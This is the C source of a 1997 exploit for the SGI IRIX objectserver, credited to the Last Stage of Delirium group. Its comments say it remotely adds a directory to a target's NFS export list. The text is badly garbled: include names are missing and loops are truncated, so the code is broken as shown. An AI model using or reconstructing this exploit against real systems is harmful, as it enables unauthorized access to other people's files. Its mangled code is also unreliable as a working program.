/*## copyright LAST STAGE OF DELIRIUM jul 1997 poland *://lsd-pl.net/ #*/ /*## objectserver #*/ /* SGI objectserver "export" exploit */ /* Remotely adds new entry to the export list on the IRIX system. */ /* See our SGI objectserver "account" exploit for more information. */ /* Only directories that aren't supersets of already exported ones */ /* can be added to the export list. */ #include #include #include #include #include #include #include #include #define E if(errno) perror(""); struct iovec iov[2]; struct msghdr msg; char buf1[1024],buf2[1024]; int sck; unsigned long adr; void show_msg(){ char *p,*p1; int i,j,c,d; c=0; printf("%04x ",iov[0].iov_len); p=(char*)iov[0].iov_base; for(i=0;i1){ for(i=0;i<(16-c);i++) printf(" "); for(i=0;i1){ for(i=0;i<(16-c);i++) printf(" "); for(i=0;i>8; dodaj_one[11]=offset&0xff; new_export(offset); }else printf("error: no directory specified.\n"); } /* www.hack.co.za [12 August 2000]*/